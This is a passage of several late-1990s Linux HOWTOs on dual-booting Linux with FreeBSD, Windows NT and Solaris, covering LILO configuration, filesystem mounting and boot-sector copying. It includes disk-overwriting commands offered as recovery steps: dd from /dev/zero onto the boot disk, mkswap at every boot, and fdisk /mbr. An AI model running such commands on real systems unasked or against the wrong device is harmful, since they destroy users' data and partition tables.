awk -- '/swap/ && ($1 !~ /#/) { system("mkswap "$1"") }' /etc/fstab

This will run mkswap on any swap partitions in /etc/fstab every time you boot except if they are commented out (having ``#'' as the first character in the line.)

Run free to check out the size of the swap space when you have rebooted into Linux. You should also reboot into FreeBSD to make sure everything works as expected. If it does not, you have probably used the wrong partition as swap partition. The only solution to that problem is to reinstall FreeBSD and try again. Experience is a great teacher. :-)


The Linux+FreeBSD mini-HOWTO: Booting FreeBSD using LILO

 Next Previous Contents

4. Booting FreeBSD using LILO

You can easily boot FreeBSD with LILO. Do not install the FreeBSD boot selector (Booteasy) if you want to use LILO. Append the following lines to your /etc/lilo.conf file and run lilo (assuming the FreeBSD slice is /dev/hda4):

other=/dev/hda4
        table=/dev/hda
        label=FreeBSD

If you have installed FreeBSD on the second SCSI drive, use something like this (the FreeBSD slice being /dev/sdb2):

other=/dev/sdb2
        table=/dev/sdb
        loader=/boot/chain.b
        label=FreeBSD


The Linux+FreeBSD mini-HOWTO: Mounting filesystems

 Next Previous Contents

5. Mounting filesystems

5.1 Mounting UFS filesystems under Linux

Unfortunately the UFS driver in the Linux 2.0.xx kernels do not include support for FreeBSD. When you try to mount a FreeBSD filesystem, you just get some error messages (the filesystem actually gets mounted, but you cannot do anything with it.) This problem has been solved in the newer Linux kernels (version 2.1.87 and higher.)

There is another version of the UFS driver for Linux 2.0.xx kernels (xx <= 30) on metalab.unc.edu (the former sunsite.unc.edu). It is called U2FS and the current version is u2fs-0.4.3.tar.gz. A version of U2FS (ufs-0.4.4.tar.gz) for Linux 2.0.31 and higher (2.0.xx; not 2.1.xx) can be found at this site along with further information about U2FS (and UFS.)

Now you have to build a new kernel with support for the U2FS filesystem and BSD disklabels. See section Installing and preparing Linux for more information on this. You can leave out UFS filesystem support from the kernel when you use U2FS.

When you have installed the new kernel, you can mount your UFS filesystems (all the partitions in the FreeBSD slice except the swap partition) with a command like this:

mount -t u2fs /dev/hda8 /mnt

You should use a command like

mount -t ufs /dev/hda8 /mnt
if you use a Linux kernel version 2.1.87 or higher. From Linux kernel version 2.1.112 you must add -o ufstype=44bsd to the command like this:
mount -t ufs -o ufstype=44bsd /dev/hda8 /mnt

The UFS (and U2FS) driver is read-only. That is; you can read from the UFS filesystems but you cannot write to them. An experimental read-write UFS driver has replaced the read-only driver in Linux kernels version 2.1.112 and higher; writing to FreeBSD partitions is supported from version 2.1.127.

5.2 Mounting ext2fs filesystems under FreeBSD

To mount ext2fs filesystems under FreeBSD, you first have to build a new kernel with ext2fs support. Read the FreeBSD handbook to learn how to do that. Put the line

options         "EXT2FS"
in your kernel configuration file for the new kernel.

When you have booted with the new kernel, you can mount an ext2fs filesystem by giving a command like:

mount -t ext2fs /dev/wd0s3 /mnt

Due to a bug in FreeBSD 2.2.8 and earlier you will have to unmount all ext2fs filesystems before you shut down FreeBSD if you are using these any of these versions. If you shut down FreeBSD with an ext2fs filesystem mounted, FreeBSD cannot sync the UFS filesystems. This results in fsck being run the next time FreeBSD is booted. You can work around this bug by putting the line:

umount -a -t ext2fs
in the /etc/rc.shutdown file. The bug has been fixed in FreeBSD 3.x.


The Linux+FreeBSD mini-HOWTO: Running foreign binaries

 Next Previous Contents

6. Running foreign binaries

6.1 Running FreeBSD binaries under Linux

The iBCS package has support for running FreeBSD binaries under Linux; but it's old and unmaintained. I cannot get it to work. Please let me know if you have had better luck with this.

6.2 Running Linux binaries under FreeBSD

FreeBSD has the ability to run Linux binaries, both in a.out and ELF formats. To do this you have to take the following three steps:

  1. You have to enable Linux compatibility. To do this (in FreeBSD 2.2.2 --- details may vary in other versions) you have to edit your /etc/rc.conf file and change
    linux_enable="NO"
    to
    linux_enable="YES"
    and reboot. Another way to load the Linux binary support is to execute the command /usr/bin/linux. This way you don't have to reboot, and you don't always have the Linux binary support loaded (i.e. you save memory.) Remember to add the line
    options         COMPAT_LINUX
    to the FreeBSD kernel config file if you build a new FreeBSD kernel.
  2. You have to install the Linux shared libraries if your Linux binaries are dynamically linked. The libraries are included in FreeBSD 2.2.{2,5,6} as the package linux_lib-2.4.tgz (newer versions might be available.) Run the following command to install the package:
    pkg_add <path_to_package>/linux_lib-2.4.tgz
    <path_to_package> is the directory where the package is stored. You may also load it off the net by:
    pkg_add ftp://ftp.freebsd.org/pub/FreeBSD/packages-stable/All/linux_lib-2.4.tgz
    or by re-running /stand/sysinstall. Enter ``Configure'', ``Packages'' and use the menus. You should execute the following command if you are running statically linked Linux binaries:
    brandelf -t Linux <name_of_statically_linked_linux_binary>
  3. Install the Linux program(s) you want to run. The program(s) can be installed on either UFS or ext2fs filesystems. See section Mounting ext2fs filesystems under FreeBSD for more information about using ext2fs filesystems under FreeBSD.

I have successfully run the Linux versions of Applixware 4.3 and Netscape 3.01 (both ELF format) under FreeBSD 2.2.2 using this method (yes, I know there is a native FreeBSD version of Netscape 4.) The Linux versions of acroread and StarOffice 3 and 4 also work well under FreeBSD. StarOffice 5 depends on native Linux threads and currently do not work under FreeBSD. Read the FreeBSD documentation for more information on this topic.


The Linux+FreeBSD mini-HOWTO: Information resources

 Next Previous Contents

7. Information resources

The latest version of this mini-HOWTO can be downloaded from this site in several formats (including SGML and PostScript.) The document has been translated into Japanese by Mr. Teruyoshi Fujiwara as part of the JF project.

You can find some articles about the difference between Linux and FreeBSD here.

You can find more informations about FreeBSD (and download the whole system) at this site. You can also buy the system on CDROMs from Walnut Creek CDROM (their servers are running FreeBSD.)

The Linux Kernel HOWTO (and this mini-HOWTO) is released as part of The Linux Documentation Project.


The Linux+FreeBSD mini-HOWTO: Credits and legal stuff

 Next Previous Contents

8. Credits and legal stuff

Thanks to the members of the *BSD user group in Denmark for answering the questions of a FreeBSD newbie, to Mr. Takeshi Okazaki for bringing the existence of U2FS to my attention, and to Mr. David O'Brien for valuable suggestions.

8.1 Legal stuff

Trademarks are owned by their owners.

Although the information given in this document is believed to be correct, the author will accept no liability for the content of this document. Use the tips and examples given herein at your own risk.

Copyright © 1997-2000 by Niels Kristian Bech Jensen. This document may be distributed only subject to the terms and conditions set forth in the LDP License at http://www.linuxdoc.org/COPYRIGHT.html.


NT OS Loader + Linux mini-HOWTO

Bernd Reichert, <reichert@dial.eunet.ch>

v1.11, 2 September 1997

1. Abstract

2. How does the NT OS Loader work

3. Tips on how to install Windows NT and Linux on the same System

  • 3.1 Windows NT installation
  • 3.2 Partitioning
  • 3.3 Linux installation
  • 3.4 Lilo

4. Bootpart

5. The Linux part of the work

6. The Windows NT part of the work

7. Play it again Sam

8. Troubleshooting

9. References

10. Acknowledgements

11. Feedback


NT OS Loader + Linux mini-HOWTO: Abstract

 Next Previous Contents

1. Abstract

This document describes the use of the Windows NT boot loader to start Linux. This procedures have been tested with Windows NT 4.0 WS and Linux 2.0.


NT OS Loader + Linux mini-HOWTO: How does the NT OS Loader work

 Next Previous Contents

2. How does the NT OS Loader work

The NT OS loader likes to have the boot sector from the other operating systems available as a file. It reads this file and starts the operating system selected, i.e. either Windows NT in different Modes or any other OS.


NT OS Loader + Linux mini-HOWTO: Tips on how to install Windows NT and Linux on the same System

 Next Previous Contents

3. Tips on how to install Windows NT and Linux on the same System

3.1 Windows NT installation

Try to install Windows NT first. If you want to use NTFS for your Windows NT-partition, keep in mind, that the todays production version of Linux cannot access NTFS partitions. An alpha driver that can read NTFS-Partitions is available at http://www.informatik.hu-berlin.de/~loewis/ntfs. You may create a separate FAT-Partition for data exchange or you have to use DOS-formatted floppies.

3.2 Partitioning

Another Mini-howto recommends not to use NTs "Disk Administartor" to create the Linux swap- and root-partitions. It is sufficient to see the free space there. I also recommend to use linux's fdisk later.

3.3 Linux installation

Now boot linux from diskettes, create the swap and root-partition. Fdisk assumes the ntfs-partition to be a HPFS-partition. This is normal. Boot again from diskettes and install Linux as you like.

Just in case the installation procedure suggests that you could mount the HPFS partition which it has found: Ignore it.

3.4 Lilo

When you come to the Lilo-Section, specify your Linux-root-partition as your boot device because the Master Boot Record (MBR) of your harddisk is owned by Windows NT. This means that the root-entry and the boot-entry in your /etc/lilo.conf have the same value. If you have a IDE-harddisk and your Linux-partition is the second partition, your boot-entry in /etc/lilo.conf looks like:

boot=/dev/hda2

If you have two disks and your Linux resides on the first partition of your second disk, your boot-entry in /etc/lilo.conf looks like:

boot=/dev/hdb1

Run lilo with a kernel that matches your system. Check the kernel by booting from diskette first if you are not sure.

If you cannot boot Windows NT now, you have a problem. I hope you have created a repair-disk recently.


NT OS Loader + Linux mini-HOWTO: Bootpart

 Next Previous Contents

4. Bootpart

There is a NT-programm called bootpart written by G. Vollant that can do the jobs from the next two points for you. Bootpart is available at http://ourworld.compuserve.com/homepages/gvollant/bootpart.htm.

If you want to know how things are working together, use the procedures described in point 5 and 6.


NT OS Loader + Linux mini-HOWTO: The Linux part of the work

 Next Previous Contents

5. The Linux part of the work

You have to boot from diskettes until the NT-part is fixed.

Now you have to peel the bootsector from your Linux-root-Partition. With /dev/hda2 as your linux-partition, the dd-command is:

# dd if=/dev/hda2 of=/bootsect.lnx bs=512 count=1

There is something wrong if your bootsect.lnx has more than 512 bytes.

Now copy the file bootsect.lnx to a DOS-formated floppy if this is your way to transfer files to the NTFS-Windows-partition.

You can copy it with

# mcopy /bootsect.lnx a:

or with

# mount -t msdos /dev/fd0 /mnt
# copy /bootsect.lnx /mnt
# umount /mnt


NT OS Loader + Linux mini-HOWTO: The Windows NT part of the work

 Next Previous Contents

6. The Windows NT part of the work

Copy the file from the diskette to C:\\bootsect.lnx. I don't tell you how to do that.

What lilo.conf is for linux is c:\\boot.ini for Windows NT. Remove the, system- and the read-only-attribute before you can modify it with:

C:\attrib -s -r c:\boot.ini

Now change the file boot.ini with an editor, notepad for example, as follows:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation ...
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation ...
C:\BOOTSECT.LNX="Linux"

Only the last line has been added in this example. Restore the attributes after you have saved boot.ini with:

C:\attrib +s +r c:\boot.ini

After a shutdown of your Windows NT and a restart your should see the following:

  OS Loader V4.00

  Please select the operating system to start:

  Windows NT Workstation Version 4.0
  Windows NT Workstation Version 4.0 [VGA mode]
  Linux

Select Linux and see

  LILO loading zImage ....


NT OS Loader + Linux mini-HOWTO: Play it again Sam

 Next Previous Contents

7. Play it again Sam

A new copy of bootsect.lnx must be transfererd to C:\BOOTSECT.LNX evry time the bootsector of your linux-partition has been modified. This happens for example when you install a new kernel with lilo. As you can see such a system in not ideal for testing experimental kernels.


NT OS Loader + Linux mini-HOWTO: Troubleshooting

 Next Previous Contents

8. Troubleshooting

If things do not work as expected, check bootability with a floppy disk. With /dev/hdb1 as your Linux-partition, your /etc/lilo.conf has the following entries:

root=/dev/hdb1
boot=/dev/fd0

Run lilo with a diskette inserted. Now try to boot from the diskette. If your Linux on /dev/hdb1 can't be started, the NT OS loader will also fail to start it. If you see a lot of 01 01 01 01, your root-disk is not accessible. Check whether all your disks are known by the bios.

If the floppy boots your Linux partition, you can peel of your boot-sector for the NT OS loader with:

# dd if=/dev/fd0 of=/bootsect.lnx bs=512 count=1

You can keep this diskette as your rescue-diskette just in case your Windows NT installation breaks.


NT OS Loader + Linux mini-HOWTO: References

 Next Previous Contents

9. References

  • The Linux+WindowsNT mini-HOWTO
  • The FAQ for FreeBSD 2.X


NT OS Loader + Linux mini-HOWTO: Acknowledgements

 Next Previous Contents

10. Acknowledgements

  • Thanks to Xiaoming Yi <z3c20@ttacs.ttu.edu> for the tip that the procedures work also with other disks than the first one.
  • Thanks to Frank Dennler <Frank.Dennler@zkb.ch> for the diskette-trick.


NT OS Loader + Linux mini-HOWTO: Feedback

 Next Previous Contents

11. Feedback

Any comments are welcome.


Linux+Solaris HOWTO

Max Berger

v0.8-$Revision: 1.1 $, $Date: 2000/04/17 23:48:03 $

Describes how to use Linux (x86) and Solaris (x86) together on one machine

1. Introduction

  • 1.1 Why Solaris?
  • 1.2 Things covered in this HOWTO
  • 1.3 Referenced versions
  • 1.4 Warning

2. Preparing your Hard Drive

  • 2.1 Traditional PC partitions
  • 2.2 Solaris partition labels
  • 2.3 Hard disk space
  • 2.4 Quick check list

3. Preparing Linux

  • 3.1 Building a new kernel
  • 3.2 Preparing your boot loader

4. Installing Solaris

  • 4.1 Solaris interactive
  • 4.2 Web-Start
  • 4.3 Getting GNU-tools

5. Boot managing

  • 5.1 Using the Solaris boot manager
  • 5.2 Using lilo
  • 5.3 Using grub

6. Sharing data

  • 6.1 Using a shared partition
  • 6.2 Alternative ways

7. Running foreign binaries

  • 7.1 Linux binaries on Solaris
  • 7.2 Solaris binaries on Linux

Appendix

8. Finding additional info

9. Credits and legal stuff

  • 9.1 Credits
  • 9.2 Questions, comments, suggestions
  • 9.3 License


Linux+Solaris HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Why Solaris?

This is actually a good question. Why use Solaris, when you can have Linux? Solaris is a commercial system, the hardware support is scarce. But if you are reading this you have probably already decided on using Solaris. If not, here are some reasons:

  • I have a part-time job administrating Solaris machines. It is of no use that I learning all the neat command parameters and nifty Linux tricks at home, when I can't use them on my Solaris-Box.
  • Sun was giving away Solaris for what they call ``Shipping and handling cost only'' for some time. They might do that again. And almost-free-of-charge is always a good deal.
  • Another reason might be that you like CDE.

1.2 Things covered in this HOWTO

This HOWTO tries to help you install Solaris 7 or 8 on an x86 computer already running Linux. The main targets are

  • not to destroy any data, see section Preparing your Harddrive
  • To make Linux and Solaris coexist (boot manager), see section Boot-Managing
  • To share data between Linux and Solaris, as described in section Sharing Data

1.3 Referenced versions

The reference versions used while creating this document where:

  • Solaris 7 x86 (= Solaris 2.7 / SunOS 5.7)
  • Solaris 8 x86 (= Solaris 2.8 / SunOS 5.8)
  • Linux 2.2.14, 2.3.99-pre3
  • fdisk v2.10f
The information might apply to other versions of the software, or it might all be different.

1.4 Warning

Please back up any data before messing with your system! A lot of the things described in this document may result in excessive data loss! I am not responsible for any data loss! See also section Legal stuff


Linux+Solaris HOWTO: Preparing your Hard Drive

 Next Previous Contents

2. Preparing your Hard Drive

To Prepare your hard-drive for Solaris, you need to know about standard PC partition tables and about Solaris disk slices. In this HOWTO I talk about single-disk systems only, but all the information should also apply to a multi-disk environment.

2.1 Traditional PC partitions

The standard partition-table has only 4 entries. The entries important for us are the following:

A Primary Partition

Takes up one entry, and contains exactly one partition. A waste of resources, but the only partition you can boot from!

An extended Partition

Takes up one entry, but can contain multiple DOS, Linux, and other partitions

A Solaris Partition

Takes up one entry, but can contain multiple Solaris Partitions

To find out what partitions are present on your system, use the fdisk program. Partitions numbers 1 to 4 (hda1..4, sda1..4, ...) are the ones in your partition table.

2.2 Solaris partition labels

Solaris has its own partitioning scheme. It uses one entry in the partition table, and this entry is and acts as this partition would be the entire disk.

This virtual disk is then divided in up to 8 slices. The third slice, s2, covers the whole virtual disk, so you actually have up to 7 slices for Solaris.

Unfortunately, the Solaris partition entry has the same type as a Linux Swap partition (82). Therefore, you should not have any Linux swap partitions as primary partitions. Linux doesn't care about this, but who knows what Solaris does?

Although the Linux fdisk program has some ``Sun disklabel'' support, this doesn't seem to help any.

2.3 Hard disk space

Of course, Solaris needs disk space. The minimum installation of Solaris 8 is about 300 MB. For the normal tools its about 700 MB, and for a ``developer-system'' about 1 GB.

But this is only the space required for the base installation. You might want to add a lot of GNU-Tools, and other stuff. And if you want to share data between Solaris and Linux, this has to happen on the Solaris partitions.

You might even think of sharing your home directories between Solaris and Linux. As the time of this writing: Forget it! I messed up my home directory doing so and I was very happy about my backup. See also section sharing data

2.4 Quick check list

Here's the quick check list. Make sure you:

  • have used no more than 3 entries in your partition table
  • have no Linux swap partitions as primary partitions
  • Have at least 1 Linux ext2 partition as primary
  • Have at least 1 GB unpartitioned space


Linux+Solaris HOWTO: Preparing Linux

 Next Previous Contents

3. Preparing Linux

3.1 Building a new kernel

Some people don´t like building a custom kernel. For those of you: you must build your own kernel if you want to share data between Solaris and Linux on one hard disk. If, however, you do not want to share data, you are safe with your old kernel.

Here are your kernel options for ``Solaris compatibility'':

  • Under code maturity:
    Prompt for development drivers

    Unfortunately UFS writing is still experimental.

  • In file systems:
    UFS file system support

    UFS is the Solaris file system

    UFS file system write support

    The only way to pass data to Solaris

    partition types / Solaris (x86) partition table support

    Is needed for the slices within your Solaris partition to be found.

Additional info about kernel building can be found in the Kernel-HOWTO

3.2 Preparing your boot loader

Before messing with your boot loader, please make sure that you have an emergency disk ready which enables you to boot your old system.

Unfortunately the Solaris install overwrites the master boot record (MBR) and overwrites your old boot manager.

Fortunately, the Solaris boot manager is able to chain-boot. For this to work you have to put your old boot loader (e.g. lilo) into the boot sector of one primary Linux partition.

For lilo this means: look at your /etc/lilo.conf. Look for the boot= line. If it is something like boot=/dev/hda1 everything is fine. But if it´s something like boot=/dev/hda it points to the MBR. Please change it to point to a primary Linux partition (e.g. boot=/dev/hda1)

A way to check if your boot-loader is chain-loadable is installing lilo in to the MBR and trying to chain load your other boot-manager. I used the following file called lilo.conf.mbr for this:

#lilo.conf.mbr
#Lilo in Master Boot Record doing nothing but chain-loading another lilo
boot=/dev/hda
root=/dev/hda5
install=/boot/boot.b
map=/boot/map
vga=ask
delay=50
other=/dev/hda1
label=lilochain
You can then run lilo -C lilo.conf.mbr to install lilo into your MBR. And don´t forget to run lilo to have lilo in the boot sector of your hard-drive.

If you reboot now, you should have a lilo-prompt. When you select other this chain loads the old lilo, which in turn loads Linux.


Linux+Solaris HOWTO: Installing Solaris

 Next Previous Contents

4. Installing Solaris

4.1 Solaris interactive

Solaris 7

Solaris Interactive is on the first CD. Boot it, select Solaris interactive

Solaris 8

On the Solaris 8 CDs the interactive installer is on the first software CD. You don't need the install CD at all.

The Solaris installation itself is quite straight forward. One thing that might be confusing is the partitioning. Solaris will automatically use all the free space on your hard disk, and create it's own virtual disk in it. And when it comes to slicing up your virtual disk, don´t forget to add space for Solaris/Linux exchange. A good place for this is an extra /export/share partition.

Please Note: If you abort during the Solaris installation, the MBR of your hard disk may already be overwritten and you may not be able to boot from the hard disk at all.

4.2 Web-Start

I couldn't get Web-Start to work at all. Please mail me if you have any experience using it.

However, once Solaris was installed, I had no problems adding web-start-packages

4.3 Getting GNU-tools

Solaris standard installation doesn't even have a less command. Some people recommend getting the Redhat Package Manager (RPM) for Solaris, but the standard packaging tool will usually do it. You can find many nice packages at http://www.sunfreeware.com The standard packages can be used with pkgadd <package>, and the web-start packages with java <packagewithoutclassextension>


Linux+Solaris HOWTO: Boot managing

 Next Previous Contents

5. Boot managing

5.1 Using the Solaris boot manager

When booting, the Solaris boot manager gives you all 4 primary partitions for choosing which to boot from. If you had your boot loader installed on the boot sector of a primary partition, everything should be fine. Just boot from this partition, and Linux should come up.

5.2 Using lilo

Now you have lilo as a secondary boot loader, but you want it to be your primary boot loader again? No Problem. Lilo can easily chain boot Solaris. Just add the appropriate other= lines to your lilo.conf

For testing, you should add the Solaris chain loading to the lilo in your boot sector first. Then try chain loading lilo, Solaris, lilo, Solaris, ... until you have enough of it. If this works, you should be able to put lilo back into the MBR again.

However, Solaris might have messed up your partition table. This has happened on my system after installation of Solaris 8. Lilo doesn't like the new partition, nor does fdisk. I had no problems with Solaris 7

5.3 Using grub

Unfortunately, I have no experience with grub booting Solaris. If you do, please mail me!


Linux+Solaris HOWTO: Sharing data

 Next Previous Contents

6. Sharing data

6.1 Using a shared partition

If you have build your kernel with Sun disk label support and UFS support as mentioned in section building your new kernel, you are now able to mount your Solaris partitions. During boot up, you should get something similar to:

  hda: [PTBL] [523/255/63] hda1 hda2 < hda5 hda6 hda7 hda8 > hda3 <Polaris: [s0]
  hda9 [s1] hda10 [s2] hda11 [s3] hda12 [s6] hda13 [s7] hda14 >
Meaning (in this case): partition 3 (hda3) is a Solaris partition with 6 slices (s0,s1,s2,s3,s6,s7). They are mapped to Linux devices hda9 to hda14.

Try mounting your Solaris partitions. When mounting UFS partitions, you always have to add an -oufstype= argument, in this case -oufstype=sunx86. So the command to mount a partition is something like:

  mount -oufstype=sunx86 /dev/hda14 /mnt
Now, test your partition. Please note: The write support on UFS partitions is very experimental. Please don't trust any data you write on your UFS partitions!

If you want your Solaris partitions automatically mounted at boot time, you can add a line like

  /dev/hda14 /solaris ufs ufstype=sunx86 0 0
to your /etc/fstab

6.2 Alternative ways

And, of course there are always other ways of sharing data:

Floppy disk

I don't know which floppy disk file systems are supported by Solaris. Do you? Mail me.

Network

Solaris knows NFS. Linux knows NFS. This might actually be the best way of sharing data


Linux+Solaris HOWTO: Running foreign binaries

 Next Previous Contents

7. Running foreign binaries

7.1 Linux binaries on Solaris

Is supposed to work using a program called ``lxrun''. I haven't got around to testing it yet. See the Solaris web site for more information.

7.2 Solaris binaries on Linux

Are as far as I know unsupported


Linux+Solaris HOWTO: Finding additional info

 Next Previous Contents

8. Finding additional info

Here are some URI that might help you:

  • Sun Freeware
    My first stop for Solaris resources. Has many GNU-tools in binary format ready to install.
  • Sun Microsystems
    Suns official web page
  • Solaris Homepage
  • Solaris Hardware Compatibility List (HCL)
  • Solaris Online Documentation
  • My Website
    You will always find the newest version of this document somewhere on this page


Linux+Solaris HOWTO: Credits and legal stuff

 Next Previous Contents

9. Credits and legal stuff

9.1 Credits

Thanks to Marcel Meyer for beta testing this HOWTO while installing Solaris on his machine

9.2 Questions, comments, suggestions

Are always welcome. You can reach me via e-mail at max.berger@xslt.de

9.3 License

This document is copyrighted © by Max Berger. You may use and/or modify it according to the Linux Documentation Project License (LDPL) found at http://www.linuxdoc.org/COPYRIGHT.html.

According to the license you don't have to tell me, but I'd very much like to know when you modify and/or republish this document.

Although the information given in this document is believed to be correct, the author will accept no liability for the content of this document. Use the tips and examples given herein at your own risk.


Linux+WindowsNT mini-HOWTO

Miroslav "Misko" Skoric, m.skoric@eunet.yu

v2.11, 2002-05-04

This mini-HOWTO covers some ways on how to install both Linux and Windows NT on the same computer and how to boot either of them from within LILO menu. There is also another mini-HOWTO "Linux+NT-Loader" that covers how to boot either of them from within NT Loader menu. As I consider Windows 2000 to be NT 5.0 this mini-HOWTO also covers upgrading from NT 4.0 to 2000.

1. INTRODUCTION

2. HOW TO INSTALL: LINUX FIRST, WINDOWS NT AFTER

3. HOW TO INSTALL: WINDOWS NT FIRST, LINUX AFTER

  • 3.1 If you have only one IDE hard disk
  • 3.2 If you have more than one (SCSI) hard disk

4. HOW TO UPGRADE WINDOWS NT TO WINDOWS 2000

5. HOW TO INSTALL WINDOWS 2000 BESIDE LINUX AND WINDOWS 98

6. HOW TO INSTALL WINDOWS NT/2000 AND LINUX ON A LAPTOP

  • 6.1 If you want to have *both* NT and 2000, beside Linux
  • 6.2 If you want to have only Windows 2000 and Linux

7. FURTHER INFORMATION

  • 7.1 Copyright
  • 7.2 Disclaimer
  • 7.3 News
  • 7.4 Credits
  • 7.5 HOWTO
  • 7.6 Mini-HOWTO
  • 7.7 Local Resources
  • 7.8 Web Pages

8. GETTING HELP


Linux+WindowsNT mini-HOWTO: INTRODUCTION

 Next Previous Contents

1. INTRODUCTION

Bill Wohler wrote in his v1.1 of The Linux+WindowsNT mini-HOWTO:

"Due to hardware or software problems or user headroom, I pulled my hair out for several days trying to get both NT and Linux happily settled on my new HP Vectra PC at work."

I could say that was true in my case too, but you really have a way to make both Linux and Windows NT co-existing on the same machine and to switch from one of them to another.

"Under no circumstances run the Disk Administrator from NT 3.51 to format partitions. It asks if it can write a signature "which will cause absolutely no harm." When it did this, it hosed my partition table until fixed by steps 3 and 7 below. Because of these problems, I was limited to one FAT NT partition. Also remember that even if you do get the Disk Administrator to work, you'll want at least one small FAT partition to use as a staging area for exchanging files between Linux and NT until Linux has an NTFS filesystem."

Well, NT's Disk Administrator is sufficient tool to check what situation on your hard disk(s) you have, before and after you used an utility called Partition Magic by Power Quest. This utility might be needed to 'shrink' your NT (either NTFS or FAT) partition, in order to get some free space for your further Linux' partitions. (After a while, I recognized that 'shrinking' used partition might not be needed. Actually, if you start from 'scratch', it might be the best way to re-format your whole disk(s) using FDISK command. You should make a DOS boot floppy diskete where DOS commands FDISK and FORMAT have to be also copied. More details later...)

"I installed Linux first and then NT, but based on my experience, I might now be able to install NT first and then Linux."

Of course you all are able to install Windows NT first and after that Linux. We'll see how to do that and how to use LILO (Linux Loader) to chose which operating system to boot. But, before that we'll see the procedure that Bill Wohler, the previous maintainer of this mini-HOWTO, has been using:


Linux+WindowsNT mini-HOWTO: HOW TO INSTALL: LINUX FIRST, WINDOWS NT AFTER

 Next Previous Contents

2. HOW TO INSTALL: LINUX FIRST, WINDOWS NT AFTER

1. Install a minimal Linux (hold off on installing the rest until you win the Linux/NT battle). Do all your disk partitioning in Linux, including your NT partition (make it FAT). I was not successful at making more than one NT partition. I also made it the first partition, but I don't know if that is essential or not.

2. Edit /etc/lilo.conf and use boot=/dev/sda (I was not successful at installing LILO on the Linux partition--/dev/sda3 in my case) and run "lilo". You'll have to use the editor ae. You'll live.

3. Save the MBR with this: dd if=/dev/sda of=/dev/fd0 bs=512 count=1 Use a floppy. Trust me. Also do this each time you change the disk partition table.

4. Install NT, part 1. When it goes to reboot halfway through the process you'll boot into Linux.

5. Add NT stanza to /etc/lilo.conf, e.g.:

        other=/dev/sda1
        label=NT
        table=/dev/sda

and run lilo. If lilo complains about this (I forget the message), add the "linear" flag to /etc/lilo.conf near the "compact" keyword. Furthermore, if your partition table is screwed up by NT you'll either need to use "ignore-table" or follow the directions in Step 7. See also "fix-table". The LILO HOWTO is your friend.

6. Reboot, select NT from LILO, and finish NT install. You'll need the "Boot Disk XU, HP Vectra AIC 7880 Driver A.01.02" floppy to install the ethernet drivers and the "XU/VT Drivers and Documentation" CD (directory video/disk4 if I recall correctly) to install the video drivers for the Matrox MGA Millennium.

7. Back to Linux, run fdisk and ensure you don't get "partition doesn't end on cylinder boundary" on your Linux partitions. You'll still have this error on the NT partition though, but this seems to be OK.

/dev/sda1            1        1      322   329301    6  DOS 16-bit >=32M

Partition 1 does not end on cylinder boundary:

phys=(321, 39, 9) should be (321, 63, 32)

Cfdisk reports strangeness, but it seems OK:

                                          Unusable                      0.04*

 /dev/sda1                 Primary        DOS 16-bit >=32Mb           321.59*

                                          Unusable                      0.39*

If you do get the cylinder boundary warning on your Linux partitions, it is sufficient to use cfdisk to do something innocuous like changing the boot sector.

If, however, NT has really screwed you over and cfdisk can't even run, complaining that it cannot open /dev/sda, then you'll need to take more extreme action. You'll need that MBR you saved previously. Clear and restore the MBR (but not the signature) with:

          dd if=/dev/zero of=/dev/sda bs=512 count=1

          dd if=/dev/fd0 of=/dev/sda bs=510 count=1

8. Install the rest of Linux. Easy, huh?

If you prefer to have NT write the MBR instead of LILO, you may have to resort to the following to clear the MBR first:

  • dd if=/dev/zero of=/dev/sda bs=446 count=1 (in Linux) or perform a low-level format with the SCSI utilities. I've heard that a low-level format of an IDE disk is fatal, so don't do it.

  • fdisk /mbr (you've obviously already created a DOS boot disk that contains fdisk).

  • delete NT partition and create it again in NT install.

  • continue with NT install.

Epilogue: After first posting this message, I heard from several folks that they had no problems with NT's Disk Administrator, and were able to install either NT or Linux first without any problems. Hopefully, you'll be in this camp, but if not, perhaps this campfire story will be of some use.

Since the first edition of this mini-HOWTO, others have written similar documents as well. Please be sure to consult them. If your experience differs from any presented, then you should submit your own mini-HOWTO or submit a revised version of this document to the HOWTO maintainer (reference this sentence) and send a carbon copy to me as I don't have the time to maintain this document. Someone should eventually combine all of these documents into a single coherent HOWTO.

Finally, I'm afraid this document details all I know about this subject. I should point you to an appropriate Linux newsgroup for further information. I use NT about one day a year. Under duress.


Linux+WindowsNT mini-HOWTO: HOW TO INSTALL: WINDOWS NT FIRST, LINUX AFTER

 Next Previous Contents

3. HOW TO INSTALL: WINDOWS NT FIRST, LINUX AFTER

3.1 If you have only one IDE hard disk

  • First of all, I would suggest you to install a fresh copy of Windows NT 4.0 on your hard disk. I suppose that you already made a backup of your important data, so the NT installation shouldn't be a problem. During the NT installation, setup is not going to ask you where to place NT's boot loader, so it would be placed into the MBR (Master Boot Record) of your hard disk. But, there is a possibility for a previous content of the MBR to remain within the MBR (especially any previous Lilo), so I would suggest you (before installation of NT) to boot the computer with a DOS floppy diskette having DOS version of FDISK. At the prompt a:\ just enter the command: fdisk /mbr and restart the computer again (without that floppy).

  • After you have successfully installed your NT, you will see that it uses the whole hard disk or a specific partition of the hard disk (depending on what you decided during the setup process). So, it is advisible to 'shrink' the partition where NT resides in order to make some free space on the disk. Onto that free space you will install your Linux. After you have your NT configured and running, you have to boot your computer using a floppy diskette with Partition Magic utility by Power Quest. It is a graphical tool able to see all partitions on all hard disks you have. The best thing is that you can make some changes with your partitions but not to destroy your existing data. One of the available changes is to make your existing partition(s) smaller, so to get some free space on the disk(s) for other purposes. Although you are advised to make a backup before you make any changes to the partitions, I usually practise to 'shrink' NT's partition(s) before I install anything else onto this NT (so, if needed, a repetitive NT re-installation wouldn't be a problem). Well, Partition Magic (or any other similar utility you are familiar with) will shrink your NT's partition (either NTFS or FAT) to a smaller measure and place it to either the beginning or to the end of the previous measure. It means that you may choose to have your 'shrinked' NT partition at the beginning or at the end of your disk (I usually choose NT to be at the beginning, so the ending part of the disk will become a 'free space'). After the 'shrinkin' is finished, you may re-boot your NT in order to check the new situation: you may use Windows Explorer or Disk Administrator for that.

